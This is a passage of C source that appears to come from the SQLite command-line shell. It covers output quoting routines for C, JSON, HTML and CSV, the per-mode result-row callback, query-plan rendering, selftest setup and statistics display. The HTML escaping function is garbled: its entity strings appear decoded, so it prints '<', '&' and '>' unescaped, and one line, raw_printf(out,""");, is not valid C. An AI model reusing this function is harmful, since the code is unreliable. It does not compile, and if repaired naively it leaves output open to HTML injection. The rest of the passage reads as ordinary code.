for(i=0; (c = z[i])!=0 && c!='\n' && c!='\r' && c!='\''; i++){}
if( c=='\'' ) i++;
if( i ){
utf8_printf(out, "%.*s", i, z);
z += i;
}
if( c=='\'' ){
raw_printf(out, "'");
continue;
}
if( c==0 ){
break;
}
z++;
if( c=='\n' ){
raw_printf(out, "%s", zNL);
continue;
}
raw_printf(out, "%s", zCR);
}
raw_printf(out, "'");
if( nCR ){
raw_printf(out, ",'%s',char(13))", zCR);
}
if( nNL ){
raw_printf(out, ",'%s',char(10))", zNL);
}
}
setTextMode(out, 1);
}
/*
** Output the given string as a quoted according to C or TCL quoting rules.
*/
static void output_c_string(FILE *out, const char *z){
unsigned int c;
fputc('"', out);
while( (c = *(z++))!=0 ){
if( c=='\\' ){
fputc(c, out);
fputc(c, out);
}else if( c=='"' ){
fputc('\\', out);
fputc('"', out);
}else if( c=='\t' ){
fputc('\\', out);
fputc('t', out);
}else if( c=='\n' ){
fputc('\\', out);
fputc('n', out);
}else if( c=='\r' ){
fputc('\\', out);
fputc('r', out);
}else if( !isprint(c&0xff) ){
raw_printf(out, "\\%03o", c&0xff);
}else{
fputc(c, out);
}
}
fputc('"', out);
}
/*
** Output the given string as a quoted according to JSON quoting rules.
*/
static void output_json_string(FILE *out, const char *z, int n){
unsigned int c;
if( n<0 ) n = (int)strlen(z);
fputc('"', out);
while( n-- ){
c = *(z++);
if( c=='\\' || c=='"' ){
fputc('\\', out);
fputc(c, out);
}else if( c<=0x1f ){
fputc('\\', out);
if( c=='\b' ){
fputc('b', out);
}else if( c=='\f' ){
fputc('f', out);
}else if( c=='\n' ){
fputc('n', out);
}else if( c=='\r' ){
fputc('r', out);
}else if( c=='\t' ){
fputc('t', out);
}else{
raw_printf(out, "u%04x",c);
}
}else{
fputc(c, out);
}
}
fputc('"', out);
}
/*
** Output the given string with characters that are special to
** HTML escaped.
*/
static void output_html_string(FILE *out, const char *z){
int i;
if( z==0 ) z = "";
while( *z ){
for(i=0; z[i]
&& z[i]!='<'
&& z[i]!='&'
&& z[i]!='>'
&& z[i]!='\"'
&& z[i]!='\'';
i++){}
if( i>0 ){
utf8_printf(out,"%.*s",i,z);
}
if( z[i]=='<' ){
raw_printf(out,"<");
}else if( z[i]=='&' ){
raw_printf(out,"&");
}else if( z[i]=='>' ){
raw_printf(out,">");
}else if( z[i]=='\"' ){
raw_printf(out,""");
}else if( z[i]=='\'' ){
raw_printf(out,"'");
}else{
break;
}
z += i + 1;
}
}
/*
** If a field contains any character identified by a 1 in the following
** array, then the string must be quoted for CSV.
*/
static const char needCsvQuote[] = {
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,
};
/*
** Output a single term of CSV. Actually, p->colSeparator is used for
** the separator, which may or may not be a comma. p->nullValue is
** the null value. Strings are quoted if necessary. The separator
** is only issued if bSep is true.
*/
static void output_csv(ShellState *p, const char *z, int bSep){
FILE *out = p->out;
if( z==0 ){
utf8_printf(out,"%s",p->nullValue);
}else{
int i;
int nSep = strlen30(p->colSeparator);
for(i=0; z[i]; i++){
if( needCsvQuote[((unsigned char*)z)[i]]
|| (z[i]==p->colSeparator[0] &&
(nSep==1 || memcmp(z, p->colSeparator, nSep)==0)) ){
i = 0;
break;
}
}
if( i==0 ){
char *zQuoted = sqlite3_mprintf("\"%w\"", z);
utf8_printf(out, "%s", zQuoted);
sqlite3_free(zQuoted);
}else{
utf8_printf(out, "%s", z);
}
}
if( bSep ){
utf8_printf(p->out, "%s", p->colSeparator);
}
}
/*
** This routine runs when the user presses Ctrl-C
*/
static void interrupt_handler(int NotUsed){
UNUSED_PARAMETER(NotUsed);
seenInterrupt++;
if( seenInterrupt>2 ) exit(1);
if( globalDb ) sqlite3_interrupt(globalDb);
}
#if (defined(_WIN32) || defined(WIN32)) && !defined(_WIN32_WCE)
/*
** This routine runs for console events (e.g. Ctrl-C) on Win32
*/
static BOOL WINAPI ConsoleCtrlHandler(
DWORD dwCtrlType /* One of the CTRL_*_EVENT constants */
){
if( dwCtrlType==CTRL_C_EVENT ){
interrupt_handler(0);
return TRUE;
}
return FALSE;
}
#endif
#ifndef SQLITE_OMIT_AUTHORIZATION
/*
** When the ".auth ON" is set, the following authorizer callback is
** invoked. It always returns SQLITE_OK.
*/
static int shellAuth(
void *pClientData,
int op,
const char *zA1,
const char *zA2,
const char *zA3,
const char *zA4
){
ShellState *p = (ShellState*)pClientData;
static const char *azAction[] = { 0,
"CREATE_INDEX", "CREATE_TABLE", "CREATE_TEMP_INDEX",
"CREATE_TEMP_TABLE", "CREATE_TEMP_TRIGGER", "CREATE_TEMP_VIEW",
"CREATE_TRIGGER", "CREATE_VIEW", "DELETE",
"DROP_INDEX", "DROP_TABLE", "DROP_TEMP_INDEX",
"DROP_TEMP_TABLE", "DROP_TEMP_TRIGGER", "DROP_TEMP_VIEW",
"DROP_TRIGGER", "DROP_VIEW", "INSERT",
"PRAGMA", "READ", "SELECT",
"TRANSACTION", "UPDATE", "ATTACH",
"DETACH", "ALTER_TABLE", "REINDEX",
"ANALYZE", "CREATE_VTABLE", "DROP_VTABLE",
"FUNCTION", "SAVEPOINT", "RECURSIVE"
};
int i;
const char *az[4];
az[0] = zA1;
az[1] = zA2;
az[2] = zA3;
az[3] = zA4;
utf8_printf(p->out, "authorizer: %s", azAction[op]);
for(i=0; i<4; i++){
raw_printf(p->out, " ");
if( az[i] ){
output_c_string(p->out, az[i]);
}else{
raw_printf(p->out, "NULL");
}
}
raw_printf(p->out, "\n");
return SQLITE_OK;
}
#endif
/*
** Print a schema statement. Part of MODE_Semi and MODE_Pretty output.
**
** This routine converts some CREATE TABLE statements for shadow tables
** in FTS3/4/5 into CREATE TABLE IF NOT EXISTS statements.
*/
static void printSchemaLine(FILE *out, const char *z, const char *zTail){
if( z==0 ) return;
if( zTail==0 ) return;
if( sqlite3_strglob("CREATE TABLE ['\"]*", z)==0 ){
utf8_printf(out, "CREATE TABLE IF NOT EXISTS %s%s", z+13, zTail);
}else{
utf8_printf(out, "%s%s", z, zTail);
}
}
static void printSchemaLineN(FILE *out, char *z, int n, const char *zTail){
char c = z[n];
z[n] = 0;
printSchemaLine(out, z, zTail);
z[n] = c;
}
/*
** Return true if string z[] has nothing but whitespace and comments to the
** end of the first line.
*/
static int wsToEol(const char *z){
int i;
for(i=0; z[i]; i++){
if( z[i]=='\n' ) return 1;
if( IsSpace(z[i]) ) continue;
if( z[i]=='-' && z[i+1]=='-' ) return 1;
return 0;
}
return 1;
}
/*
** Add a new entry to the EXPLAIN QUERY PLAN data
*/
static void eqp_append(ShellState *p, int iEqpId, int p2, const char *zText){
EQPGraphRow *pNew;
int nText = strlen30(zText);
if( p->autoEQPtest ){
utf8_printf(p->out, "%d,%d,%s\n", iEqpId, p2, zText);
}
pNew = sqlite3_malloc64( sizeof(*pNew) + nText );
if( pNew==0 ) shell_out_of_memory();
pNew->iEqpId = iEqpId;
pNew->iParentId = p2;
memcpy(pNew->zText, zText, nText+1);
pNew->pNext = 0;
if( p->sGraph.pLast ){
p->sGraph.pLast->pNext = pNew;
}else{
p->sGraph.pRow = pNew;
}
p->sGraph.pLast = pNew;
}
/*
** Free and reset the EXPLAIN QUERY PLAN data that has been collected
** in p->sGraph.
*/
static void eqp_reset(ShellState *p){
EQPGraphRow *pRow, *pNext;
for(pRow = p->sGraph.pRow; pRow; pRow = pNext){
pNext = pRow->pNext;
sqlite3_free(pRow);
}
memset(&p->sGraph, 0, sizeof(p->sGraph));
}
/* Return the next EXPLAIN QUERY PLAN line with iEqpId that occurs after
** pOld, or return the first such line if pOld is NULL
*/
static EQPGraphRow *eqp_next_row(ShellState *p, int iEqpId, EQPGraphRow *pOld){
EQPGraphRow *pRow = pOld ? pOld->pNext : p->sGraph.pRow;
while( pRow && pRow->iParentId!=iEqpId ) pRow = pRow->pNext;
return pRow;
}
/* Render a single level of the graph that has iEqpId as its parent. Called
** recursively to render sublevels.
*/
static void eqp_render_level(ShellState *p, int iEqpId){
EQPGraphRow *pRow, *pNext;
int n = strlen30(p->sGraph.zPrefix);
char *z;
for(pRow = eqp_next_row(p, iEqpId, 0); pRow; pRow = pNext){
pNext = eqp_next_row(p, iEqpId, pRow);
z = pRow->zText;
utf8_printf(p->out, "%s%s%s\n", p->sGraph.zPrefix,
pNext ? "|--" : "`--", z);
if( n<(int)sizeof(p->sGraph.zPrefix)-7 ){
memcpy(&p->sGraph.zPrefix[n], pNext ? "| " : " ", 4);
eqp_render_level(p, pRow->iEqpId);
p->sGraph.zPrefix[n] = 0;
}
}
}
/*
** Display and reset the EXPLAIN QUERY PLAN data
*/
static void eqp_render(ShellState *p){
EQPGraphRow *pRow = p->sGraph.pRow;
if( pRow ){
if( pRow->zText[0]=='-' ){
if( pRow->pNext==0 ){
eqp_reset(p);
return;
}
utf8_printf(p->out, "%s\n", pRow->zText+3);
p->sGraph.pRow = pRow->pNext;
sqlite3_free(pRow);
}else{
utf8_printf(p->out, "QUERY PLAN\n");
}
p->sGraph.zPrefix[0] = 0;
eqp_render_level(p, 0);
eqp_reset(p);
}
}
#ifndef SQLITE_OMIT_PROGRESS_CALLBACK
/*
** Progress handler callback.
*/
static int progress_handler(void *pClientData) {
ShellState *p = (ShellState*)pClientData;
p->nProgress++;
if( p->nProgress>=p->mxProgress && p->mxProgress>0 ){
raw_printf(p->out, "Progress limit reached (%u)\n", p->nProgress);
if( p->flgProgress & SHELL_PROGRESS_RESET ) p->nProgress = 0;
if( p->flgProgress & SHELL_PROGRESS_ONCE ) p->mxProgress = 0;
return 1;
}
if( (p->flgProgress & SHELL_PROGRESS_QUIET)==0 ){
raw_printf(p->out, "Progress %u\n", p->nProgress);
}
return 0;
}
#endif /* SQLITE_OMIT_PROGRESS_CALLBACK */
/*
** Print N dashes
*/
static void print_dashes(FILE *out, int N){
const char zDash[] = "--------------------------------------------------";
const int nDash = sizeof(zDash) - 1;
while( N>nDash ){
fputs(zDash, out);
N -= nDash;
}
raw_printf(out, "%.*s", N, zDash);
}
/*
** Print a markdown or table-style row separator using ascii-art
*/
static void print_row_separator(
ShellState *p,
int nArg,
const char *zSep
){
int i;
if( nArg>0 ){
fputs(zSep, p->out);
print_dashes(p->out, p->actualWidth[0]+2);
for(i=1; i<nArg; i++){
fputs(zSep, p->out);
print_dashes(p->out, p->actualWidth[i]+2);
}
fputs(zSep, p->out);
}
fputs("\n", p->out);
}
/*
** This is the callback routine that the shell
** invokes for each row of a query result.
*/
static int shell_callback(
void *pArg,
int nArg, /* Number of result columns */
char **azArg, /* Text of each result column */
char **azCol, /* Column names */
int *aiType /* Column types. Might be NULL */
){
int i;
ShellState *p = (ShellState*)pArg;
if( azArg==0 ) return 0;
switch( p->cMode ){
case MODE_Line: {
int w = 5;
if( azArg==0 ) break;
for(i=0; i<nArg; i++){
int len = strlen30(azCol[i] ? azCol[i] : "");
if( len>w ) w = len;
}
if( p->cnt++>0 ) utf8_printf(p->out, "%s", p->rowSeparator);
for(i=0; i<nArg; i++){
utf8_printf(p->out,"%*s = %s%s", w, azCol[i],
azArg[i] ? azArg[i] : p->nullValue, p->rowSeparator);
}
break;
}
case MODE_Explain: {
static const int aExplainWidth[] = {4, 13, 4, 4, 4, 13, 2, 13};
if( nArg>ArraySize(aExplainWidth) ){
nArg = ArraySize(aExplainWidth);
}
if( p->cnt++==0 ){
for(i=0; i<nArg; i++){
int w = aExplainWidth[i];
utf8_width_print(p->out, w, azCol[i]);
fputs(i==nArg-1 ? "\n" : " ", p->out);
}
for(i=0; i<nArg; i++){
int w = aExplainWidth[i];
print_dashes(p->out, w);
fputs(i==nArg-1 ? "\n" : " ", p->out);
}
}
if( azArg==0 ) break;
for(i=0; i<nArg; i++){
int w = aExplainWidth[i];
if( i==nArg-1 ) w = 0;
if( azArg[i] && strlenChar(azArg[i])>w ){
w = strlenChar(azArg[i]);
}
if( i==1 && p->aiIndent && p->pStmt ){
if( p->iIndent<p->nIndent ){
utf8_printf(p->out, "%*.s", p->aiIndent[p->iIndent], "");
}
p->iIndent++;
}
utf8_width_print(p->out, w, azArg[i] ? azArg[i] : p->nullValue);
fputs(i==nArg-1 ? "\n" : " ", p->out);
}
break;
}
case MODE_Semi: { /* .schema and .fullschema output */
printSchemaLine(p->out, azArg[0], ";\n");
break;
}
case MODE_Pretty: { /* .schema and .fullschema with --indent */
char *z;
int j;
int nParen = 0;
char cEnd = 0;
char c;
int nLine = 0;
assert( nArg==1 );
if( azArg[0]==0 ) break;
if( sqlite3_strlike("CREATE VIEW%", azArg[0], 0)==0
|| sqlite3_strlike("CREATE TRIG%", azArg[0], 0)==0
){
utf8_printf(p->out, "%s;\n", azArg[0]);
break;
}
z = sqlite3_mprintf("%s", azArg[0]);
j = 0;
for(i=0; IsSpace(z[i]); i++){}
for(; (c = z[i])!=0; i++){
if( IsSpace(c) ){
if( z[j-1]=='\r' ) z[j-1] = '\n';
if( IsSpace(z[j-1]) || z[j-1]=='(' ) continue;
}else if( (c=='(' || c==')') && j>0 && IsSpace(z[j-1]) ){
j--;
}
z[j++] = c;
}
while( j>0 && IsSpace(z[j-1]) ){ j--; }
z[j] = 0;
if( strlen30(z)>=79 ){
for(i=j=0; (c = z[i])!=0; i++){ /* Copy from z[i] back to z[j] */
if( c==cEnd ){
cEnd = 0;
}else if( c=='"' || c=='\'' || c=='`' ){
cEnd = c;
}else if( c=='[' ){
cEnd = ']';
}else if( c=='-' && z[i+1]=='-' ){
cEnd = '\n';
}else if( c=='(' ){
nParen++;
}else if( c==')' ){
nParen--;
if( nLine>0 && nParen==0 && j>0 ){
printSchemaLineN(p->out, z, j, "\n");
j = 0;
}
}
z[j++] = c;
if( nParen==1 && cEnd==0
&& (c=='(' || c=='\n' || (c==',' && !wsToEol(z+i+1)))
){
if( c=='\n' ) j--;
printSchemaLineN(p->out, z, j, "\n ");
j = 0;
nLine++;
while( IsSpace(z[i+1]) ){ i++; }
}
}
z[j] = 0;
}
printSchemaLine(p->out, z, ";\n");
sqlite3_free(z);
break;
}
case MODE_List: {
if( p->cnt++==0 && p->showHeader ){
for(i=0; i<nArg; i++){
utf8_printf(p->out,"%s%s",azCol[i],
i==nArg-1 ? p->rowSeparator : p->colSeparator);
}
}
if( azArg==0 ) break;
for(i=0; i<nArg; i++){
char *z = azArg[i];
if( z==0 ) z = p->nullValue;
utf8_printf(p->out, "%s", z);
if( i<nArg-1 ){
utf8_printf(p->out, "%s", p->colSeparator);
}else{
utf8_printf(p->out, "%s", p->rowSeparator);
}
}
break;
}
case MODE_Html: {
if( p->cnt++==0 && p->showHeader ){
raw_printf(p->out,"<TR>");
for(i=0; i<nArg; i++){
raw_printf(p->out,"<TH>");
output_html_string(p->out, azCol[i]);
raw_printf(p->out,"</TH>\n");
}
raw_printf(p->out,"</TR>\n");
}
if( azArg==0 ) break;
raw_printf(p->out,"<TR>");
for(i=0; i<nArg; i++){
raw_printf(p->out,"<TD>");
output_html_string(p->out, azArg[i] ? azArg[i] : p->nullValue);
raw_printf(p->out,"</TD>\n");
}
raw_printf(p->out,"</TR>\n");
break;
}
case MODE_Tcl: {
if( p->cnt++==0 && p->showHeader ){
for(i=0; i<nArg; i++){
output_c_string(p->out,azCol[i] ? azCol[i] : "");
if(i<nArg-1) utf8_printf(p->out, "%s", p->colSeparator);
}
utf8_printf(p->out, "%s", p->rowSeparator);
}
if( azArg==0 ) break;
for(i=0; i<nArg; i++){
output_c_string(p->out, azArg[i] ? azArg[i] : p->nullValue);
if(i<nArg-1) utf8_printf(p->out, "%s", p->colSeparator);
}
utf8_printf(p->out, "%s", p->rowSeparator);
break;
}
case MODE_Csv: {
setBinaryMode(p->out, 1);
if( p->cnt++==0 && p->showHeader ){
for(i=0; i<nArg; i++){
output_csv(p, azCol[i] ? azCol[i] : "", i<nArg-1);
}
utf8_printf(p->out, "%s", p->rowSeparator);
}
if( nArg>0 ){
for(i=0; i<nArg; i++){
output_csv(p, azArg[i], i<nArg-1);
}
utf8_printf(p->out, "%s", p->rowSeparator);
}
setTextMode(p->out, 1);
break;
}
case MODE_Insert: {
if( azArg==0 ) break;
utf8_printf(p->out,"INSERT INTO %s",p->zDestTable);
if( p->showHeader ){
raw_printf(p->out,"(");
for(i=0; i<nArg; i++){
if( i>0 ) raw_printf(p->out, ",");
if( quoteChar(azCol[i]) ){
char *z = sqlite3_mprintf("\"%w\"", azCol[i]);
utf8_printf(p->out, "%s", z);
sqlite3_free(z);
}else{
raw_printf(p->out, "%s", azCol[i]);
}
}
raw_printf(p->out,")");
}
p->cnt++;
for(i=0; i<nArg; i++){
raw_printf(p->out, i>0 ? "," : " VALUES(");
if( (azArg[i]==0) || (aiType && aiType[i]==SQLITE_NULL) ){
utf8_printf(p->out,"NULL");
}else if( aiType && aiType[i]==SQLITE_TEXT ){
if( ShellHasFlag(p, SHFLG_Newlines) ){
output_quoted_string(p->out, azArg[i]);
}else{
output_quoted_escaped_string(p->out, azArg[i]);
}
}else if( aiType && aiType[i]==SQLITE_INTEGER ){
utf8_printf(p->out,"%s", azArg[i]);
}else if( aiType && aiType[i]==SQLITE_FLOAT ){
char z[50];
double r = sqlite3_column_double(p->pStmt, i);
sqlite3_uint64 ur;
memcpy(&ur,&r,sizeof(r));
if( ur==0x7ff0000000000000LL ){
raw_printf(p->out, "1e999");
}else if( ur==0xfff0000000000000LL ){
raw_printf(p->out, "-1e999");
}else{
sqlite3_snprintf(50,z,"%!.20g", r);
raw_printf(p->out, "%s", z);
}
}else if( aiType && aiType[i]==SQLITE_BLOB && p->pStmt ){
const void *pBlob = sqlite3_column_blob(p->pStmt, i);
int nBlob = sqlite3_column_bytes(p->pStmt, i);
output_hex_blob(p->out, pBlob, nBlob);
}else if( isNumber(azArg[i], 0) ){
utf8_printf(p->out,"%s", azArg[i]);
}else if( ShellHasFlag(p, SHFLG_Newlines) ){
output_quoted_string(p->out, azArg[i]);
}else{
output_quoted_escaped_string(p->out, azArg[i]);
}
}
raw_printf(p->out,");\n");
break;
}
case MODE_Json: {
if( azArg==0 ) break;
if( p->cnt==0 ){
fputs("[{", p->out);
}else{
fputs(",\n{", p->out);
}
p->cnt++;
for(i=0; i<nArg; i++){
output_json_string(p->out, azCol[i], -1);
putc(':', p->out);
if( (azArg[i]==0) || (aiType && aiType[i]==SQLITE_NULL) ){
fputs("null",p->out);
}else if( aiType && aiType[i]==SQLITE_FLOAT ){
char z[50];
double r = sqlite3_column_double(p->pStmt, i);
sqlite3_uint64 ur;
memcpy(&ur,&r,sizeof(r));
if( ur==0x7ff0000000000000LL ){
raw_printf(p->out, "1e999");
}else if( ur==0xfff0000000000000LL ){
raw_printf(p->out, "-1e999");
}else{
sqlite3_snprintf(50,z,"%!.20g", r);
raw_printf(p->out, "%s", z);
}
}else if( aiType && aiType[i]==SQLITE_BLOB && p->pStmt ){
const void *pBlob = sqlite3_column_blob(p->pStmt, i);
int nBlob = sqlite3_column_bytes(p->pStmt, i);
output_json_string(p->out, pBlob, nBlob);
}else if( aiType && aiType[i]==SQLITE_TEXT ){
output_json_string(p->out, azArg[i], -1);
}else{
utf8_printf(p->out,"%s", azArg[i]);
}
if( i<nArg-1 ){
putc(',', p->out);
}
}
putc('}', p->out);
break;
}
case MODE_Quote: {
if( azArg==0 ) break;
if( p->cnt==0 && p->showHeader ){
for(i=0; i<nArg; i++){
if( i>0 ) fputs(p->colSeparator, p->out);
output_quoted_string(p->out, azCol[i]);
}
fputs(p->rowSeparator, p->out);
}
p->cnt++;
for(i=0; i<nArg; i++){
if( i>0 ) fputs(p->colSeparator, p->out);
if( (azArg[i]==0) || (aiType && aiType[i]==SQLITE_NULL) ){
utf8_printf(p->out,"NULL");
}else if( aiType && aiType[i]==SQLITE_TEXT ){
output_quoted_string(p->out, azArg[i]);
}else if( aiType && aiType[i]==SQLITE_INTEGER ){
utf8_printf(p->out,"%s", azArg[i]);
}else if( aiType && aiType[i]==SQLITE_FLOAT ){
char z[50];
double r = sqlite3_column_double(p->pStmt, i);
sqlite3_snprintf(50,z,"%!.20g", r);
raw_printf(p->out, "%s", z);
}else if( aiType && aiType[i]==SQLITE_BLOB && p->pStmt ){
const void *pBlob = sqlite3_column_blob(p->pStmt, i);
int nBlob = sqlite3_column_bytes(p->pStmt, i);
output_hex_blob(p->out, pBlob, nBlob);
}else if( isNumber(azArg[i], 0) ){
utf8_printf(p->out,"%s", azArg[i]);
}else{
output_quoted_string(p->out, azArg[i]);
}
}
fputs(p->rowSeparator, p->out);
break;
}
case MODE_Ascii: {
if( p->cnt++==0 && p->showHeader ){
for(i=0; i<nArg; i++){
if( i>0 ) utf8_printf(p->out, "%s", p->colSeparator);
utf8_printf(p->out,"%s",azCol[i] ? azCol[i] : "");
}
utf8_printf(p->out, "%s", p->rowSeparator);
}
if( azArg==0 ) break;
for(i=0; i<nArg; i++){
if( i>0 ) utf8_printf(p->out, "%s", p->colSeparator);
utf8_printf(p->out,"%s",azArg[i] ? azArg[i] : p->nullValue);
}
utf8_printf(p->out, "%s", p->rowSeparator);
break;
}
case MODE_EQP: {
eqp_append(p, atoi(azArg[0]), atoi(azArg[1]), azArg[3]);
break;
}
}
return 0;
}
/*
** This is the callback routine that the SQLite library
** invokes for each row of a query result.
*/
static int callback(void *pArg, int nArg, char **azArg, char **azCol){
/* since we don't have type info, call the shell_callback with a NULL value */
return shell_callback(pArg, nArg, azArg, azCol, NULL);
}
/*
** This is the callback routine from sqlite3_exec() that appends all
** output onto the end of a ShellText object.
*/
static int captureOutputCallback(void *pArg, int nArg, char **azArg, char **az){
ShellText *p = (ShellText*)pArg;
int i;
UNUSED_PARAMETER(az);
if( azArg==0 ) return 0;
if( p->n ) appendText(p, "|", 0);
for(i=0; i<nArg; i++){
if( i ) appendText(p, ",", 0);
if( azArg[i] ) appendText(p, azArg[i], 0);
}
return 0;
}
/*
** Generate an appropriate SELFTEST table in the main database.
*/
static void createSelftestTable(ShellState *p){
char *zErrMsg = 0;
sqlite3_exec(p->db,
"SAVEPOINT selftest_init;\n"
"CREATE TABLE IF NOT EXISTS selftest(\n"
" tno INTEGER PRIMARY KEY,\n" /* Test number */
" op TEXT,\n" /* Operator: memo run */
" cmd TEXT,\n" /* Command text */
" ans TEXT\n" /* Desired answer */
");"
"CREATE TEMP TABLE [_shell$self](op,cmd,ans);\n"
"INSERT INTO [_shell$self](rowid,op,cmd)\n"
" VALUES(coalesce((SELECT (max(tno)+100)/10 FROM selftest),10),\n"
" 'memo','Tests generated by --init');\n"
"INSERT INTO [_shell$self]\n"
" SELECT 'run',\n"
" 'SELECT hex(sha3_query(''SELECT type,name,tbl_name,sql "
"FROM sqlite_schema ORDER BY 2'',224))',\n"
" hex(sha3_query('SELECT type,name,tbl_name,sql "
"FROM sqlite_schema ORDER BY 2',224));\n"
"INSERT INTO [_shell$self]\n"
" SELECT 'run',"
" 'SELECT hex(sha3_query(''SELECT * FROM \"' ||"
" printf('%w',name) || '\" NOT INDEXED'',224))',\n"
" hex(sha3_query(printf('SELECT * FROM \"%w\" NOT INDEXED',name),224))\n"
" FROM (\n"
" SELECT name FROM sqlite_schema\n"
" WHERE type='table'\n"
" AND name<>'selftest'\n"
" AND coalesce(rootpage,0)>0\n"
" )\n"
" ORDER BY name;\n"
"INSERT INTO [_shell$self]\n"
" VALUES('run','PRAGMA integrity_check','ok');\n"
"INSERT INTO selftest(tno,op,cmd,ans)"
" SELECT rowid*10,op,cmd,ans FROM [_shell$self];\n"
"DROP TABLE [_shell$self];"
,0,0,&zErrMsg);
if( zErrMsg ){
utf8_printf(stderr, "SELFTEST initialization failure: %s\n", zErrMsg);
sqlite3_free(zErrMsg);
}
sqlite3_exec(p->db, "RELEASE selftest_init",0,0,0);
}
/*
** Set the destination table field of the ShellState structure to
** the name of the table given. Escape any quote characters in the
** table name.
*/
static void set_table_name(ShellState *p, const char *zName){
int i, n;
char cQuote;
char *z;
if( p->zDestTable ){
free(p->zDestTable);
p->zDestTable = 0;
}
if( zName==0 ) return;
cQuote = quoteChar(zName);
n = strlen30(zName);
if( cQuote ) n += n+2;
z = p->zDestTable = malloc( n+1 );
if( z==0 ) shell_out_of_memory();
n = 0;
if( cQuote ) z[n++] = cQuote;
for(i=0; zName[i]; i++){
z[n++] = zName[i];
if( zName[i]==cQuote ) z[n++] = cQuote;
}
if( cQuote ) z[n++] = cQuote;
z[n] = 0;
}
/*
** Execute a query statement that will generate SQL output. Print
** the result columns, comma-separated, on a line and then add a
** semicolon terminator to the end of that line.
**
** If the number of columns is 1 and that column contains text "--"
** then write the semicolon on a separate line. That way, if a
** "--" comment occurs at the end of the statement, the comment
** won't consume the semicolon terminator.
*/
static int run_table_dump_query(
ShellState *p, /* Query context */
const char *zSelect /* SELECT statement to extract content */
){
sqlite3_stmt *pSelect;
int rc;
int nResult;
int i;
const char *z;
rc = sqlite3_prepare_v2(p->db, zSelect, -1, &pSelect, 0);
if( rc!=SQLITE_OK || !pSelect ){
utf8_printf(p->out, "/**** ERROR: (%d) %s *****/\n", rc,
sqlite3_errmsg(p->db));
if( (rc&0xff)!=SQLITE_CORRUPT ) p->nErr++;
return rc;
}
rc = sqlite3_step(pSelect);
nResult = sqlite3_column_count(pSelect);
while( rc==SQLITE_ROW ){
z = (const char*)sqlite3_column_text(pSelect, 0);
utf8_printf(p->out, "%s", z);
for(i=1; i<nResult; i++){
utf8_printf(p->out, ",%s", sqlite3_column_text(pSelect, i));
}
if( z==0 ) z = "";
while( z[0] && (z[0]!='-' || z[1]!='-') ) z++;
if( z[0] ){
raw_printf(p->out, "\n;\n");
}else{
raw_printf(p->out, ";\n");
}
rc = sqlite3_step(pSelect);
}
rc = sqlite3_finalize(pSelect);
if( rc!=SQLITE_OK ){
utf8_printf(p->out, "/**** ERROR: (%d) %s *****/\n", rc,
sqlite3_errmsg(p->db));
if( (rc&0xff)!=SQLITE_CORRUPT ) p->nErr++;
}
return rc;
}
/*
** Allocate space and save off current error string.
*/
static char *save_err_msg(
sqlite3 *db /* Database to query */
){
int nErrMsg = 1+strlen30(sqlite3_errmsg(db));
char *zErrMsg = sqlite3_malloc64(nErrMsg);
if( zErrMsg ){
memcpy(zErrMsg, sqlite3_errmsg(db), nErrMsg);
}
return zErrMsg;
}
#ifdef __linux__
/*
** Attempt to display I/O stats on Linux using /proc/PID/io
*/
static void displayLinuxIoStats(FILE *out){
FILE *in;
char z[200];
sqlite3_snprintf(sizeof(z), z, "/proc/%d/io", getpid());
in = fopen(z, "rb");
if( in==0 ) return;
while( fgets(z, sizeof(z), in)!=0 ){
static const struct {
const char *zPattern;
const char *zDesc;
} aTrans[] = {
{ "rchar: ", "Bytes received by read():" },
{ "wchar: ", "Bytes sent to write():" },
{ "syscr: ", "Read() system calls:" },
{ "syscw: ", "Write() system calls:" },
{ "read_bytes: ", "Bytes read from storage:" },
{ "write_bytes: ", "Bytes written to storage:" },
{ "cancelled_write_bytes: ", "Cancelled write bytes:" },
};
int i;
for(i=0; i<ArraySize(aTrans); i++){
int n = strlen30(aTrans[i].zPattern);
if( strncmp(aTrans[i].zPattern, z, n)==0 ){
utf8_printf(out, "%-36s %s", aTrans[i].zDesc, &z[n]);
break;
}
}
}
fclose(in);
}
#endif
/*
** Display a single line of status using 64-bit values.
*/
static void displayStatLine(
ShellState *p, /* The shell context */
char *zLabel, /* Label for this one line */
char *zFormat, /* Format for the result */
int iStatusCtrl, /* Which status to display */
int bReset /* True to reset the stats */
){
sqlite3_int64 iCur = -1;
sqlite3_int64 iHiwtr = -1;
int i, nPercent;
char zLine[200];
sqlite3_status64(iStatusCtrl, &iCur, &iHiwtr, bReset);
for(i=0, nPercent=0; zFormat[i]; i++){
if( zFormat[i]=='%' ) nPercent++;
}
if( nPercent>1 ){
sqlite3_snprintf(sizeof(zLine), zLine, zFormat, iCur, iHiwtr);
}else{
sqlite3_snprintf(sizeof(zLine), zLine, zFormat, iHiwtr);
}
raw_printf(p->out, "%-36s %s\n", zLabel, zLine);
}
/*
** Display memory stats.
*/
static int display_stats(
sqlite3 *db, /* Database to query */
ShellState *pArg, /* Pointer to ShellState */
int bReset /* True to reset the stats */
){
int iCur;
int iHiwtr;
FILE *out;
if( pArg==0 || pArg->out==0 ) return 0;
out = pArg->out;
if( pArg->pStmt && pArg->statsOn==2 ){
int nCol, i, x;
